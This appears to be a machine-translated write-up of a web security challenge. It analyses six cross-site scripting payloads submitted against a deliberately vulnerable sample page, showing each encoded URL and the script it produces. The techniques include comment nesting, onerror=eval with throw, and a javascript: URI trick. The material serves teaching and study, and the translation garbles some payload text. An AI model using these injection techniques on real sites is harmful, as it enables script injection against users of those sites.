SecProject Web AppSec: XSS parsing Article 2

Or first explain the sample normal page: Address: http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input1 = 111 & input2 = 222 & input3 = 333 source code:

Use one: http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input1 = 111 & input2 = 222% 27% 29! = 2% 29 {}}/* & input3 = 333% 27% 29; if % 281% 29 {if % 281% 29 {alert % 2811% 29;/*** // http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input1 = 111 & input2 = 222 ′)! = 2) {}}/* & input3 = 333 '); if (1) {if (1) {alert (11 );/**///


<SCRIPT language="Javascript">function setid(id, name){if (document.getElementById('222')!=2){}}/*').value != '111') {document.getElementById('222')!=2){}}/*').value= '111';}if (document.getElementById('333');if(1){if(1){alert(11);/**///').value != '111') {document.getElementById('333');if(1){if(1){alert(11);/**///').value = '111';}self.close();}//--></script>
Conclusion: The entire block is commented out first. Because every 222 and 333 in the middle is commented out, it is much easier to modify the 222 and 333 on both sides. Use 2: http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input1 = one % 22% 2b '// & input2 =' % 2F * & input3 = * % 2F) {a }}% 3 Bonerror % 3 deval % 3B; throw % 22 = alert \ x28 \ % 22kkotowicz \ % 22 \ x29 % 22; {if (% 22 http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input1 = one "+ '// & input2 ='/* & input3 = */) {a }}; onerror = eval ;; throw "= alert \ x28 \" kkotowicz \ "\ x29"; {if ("


<SCRIPT language="Javascript">function setid(id, name){if (document.getElementById(''/*').value != 'one"+'//') {document.getElementById(''/*').value= 'one"+'//';}if (document.getElementById('*/)){a}};onerror=eval;;throw"=alert\x28\"kkotowicz\"\x29";{if("').value != 'one"+'//') {document.getElementById('*/)){a}};onerror=eval;;throw"=alert\x28\"kkotowicz\"\x29";{if("').value = 'one"+'//';}self.close();}//--></script> Simplified:
<SCRIPT language="Javascript">function setid(id, name){if (document.getElementById(''/*').value != 'one"+'//') {document.getElementById(''/*').value= 'one"+'//';}if (document.getElementById('*/)){a}};onerror=eval;throw"alert\x28\"kkotowicz\"\x29";{if("').value != 'one"+'//') {document.getElementById('abc').value = 'one"+'//';}}//--></script>
 
Key points:; onerror = eval; throw "= alert \ x28 \" kkotowicz \ "\ x29"; specify the eval function called when an error occurs, and then assign a parameter to it through throw. Finally, it is equivalent to eval ('uncaught = alert \ x28 "kkotowicz" \ x29'). The failure on FireFox is caused by <script> eval ('uncaught exception :; = alert ("kkotowicz"); '); </script> cannot be executed ...... That is, eval ('uncaught exception:; = alert ("kkotowicz"); '); failed in IE because <script> eval (' = alert ("kkotowicz "); '); </script> cannot be executed ...... That is, eval ('= alert ("kkotowicz"); however, even if it is changed to <script> eval ('alert ("kkotowicz ");'); </script> it will also be detected by the browser. 3: upgrade with version 2: http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one % 22% 2b '// & input2 =' % 2F * & input3 = * % 2F) {a }}% 3 Bonerror % 3 dprompt % 3B; throw % 22 \ % 22kkotowicz \ % 22% 22; {if (% 22 http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one "+ '// & Input2 ='/* & input3 = */) {a }}; onerror = prompt; throw" \ "kkotowicz \""; {if ("and http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one "% 2b '// & input2 =' % 2F * & input3 = * % 2F) {a }}% 3 Bonerror % 3 dprompt % 3B; throw "\" kkotowicz \ "; {if (" http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one "+ '// & Input2 ='/* & input3 = */) {a }}; onerror = prompt; throw" \ "kkotowicz \""; {if ("


The use of prompt functions to make up for these deficiencies, but only pop up the content, but not to execute its js. The use of four: http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input2 = a % 27% 29% 29;} alert % 28% % 27 Peter % 20 JariJ % 27% 29; {/* & input3 = B % 27% 29; // * // % 28% 27 & input1 =/* % 27 // http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input2 = A');} alert (% 'Peter jarij'); {/* & input3 = B '); // * // ('& input1 = /*'//
<SCRIPT language="Javascript">function setid(id, name){if (document.getElementById('a'));}alert('Peter JariJ');{{/*').value != '/*'//') {document.getElementById('a'));}alert('Peter JariJ');{{/*').value= '/*'//';}if (document.getElementById('b');//*///('').value != '/*'//') {document.getElementById('b');//*///('').value = '/*'//';}self.close();}//--></script>
 
Key statement: if (document. getElementById ('B'); // * // ("). value! = "// ') {Document. getElementById ('B ');//*///("). value = "//"; in this sentence, the first */closes the previous/* comment ...... However, if the following is the same */before/* that is not to be closed, an error will occur ...... In this case, you can annotate it with // without affecting the closure of the first. Nice idea. Use five: http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input1 = something // & input2 = test1 & input3 = * // ');} alert ('yousukezan'); function % 20f () {{/ * http://sdl.me/challenge1/xss2/JsChallenge2.asp? Input1 = something // & input2 = test1 & input3 = * // ');} alert ('yousukeza'); function f (){{/*
<SCRIPT language="Javascript">function setid(id, name){if (document.getElementById('test1').value != 'something//') {document.getElementById('test1').value= 'something//';}if (document.getElementById('*///'));}alert('yousukezan');function f(){{/*').value != 'something//') {document.getElementById('*///'));}alert('yousukezan');function f(){{/*').value = 'something//';}self.close();}//--></script>
 
One of the features of this exploitation is that only one input3 is used. In fact, the // of input1 can be omitted because it is in characters and comments. In input3, it is interesting to use itself to close comments, and then combine // to comments multiple parts. Here we use a feature that is enclosed in single quotes */is also valid, as long as there is a pair of/*. Combined with // single line annotations, you can achieve many unexpected techniques. Exploitation 6: http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one % 22% 2b % 27 // & input2 = % 27% 2F * & input3 = */) {}}; % 2b {valueOf: location, toString: []. join, 0: "jav \ x61script: alert \ x28 \" kkotowicz \ ")", length: 1 };;; // '); {1 // http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one "+ '// & Input2 ='/* & input3 = */) {}};+ {valueOf: location, toString: []. join, 0: "jav \ x61script: alert \ x28 \" kkotowicz \ ")", length: 1 };;;//'); {1 // The biggest highlight of the exploitation is the exploitation of the following statements, which can be executed in IE9 and 10. Chrome and Firefox cannot be executed. The principle is unknown. <Script> + {valueOf: location, toString: []. join, 0: "jav \ x61script: alert \ x28 \" kkotowicz \ ")", length: 1 };</script> Source & reference: http://soroush.secproject.com/blog/2012/04/secproject-web-appsec-challenge-series-1/ http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/ http://soroush.secproject.com/blog/projects/hall-of-fame-challenge-series-1/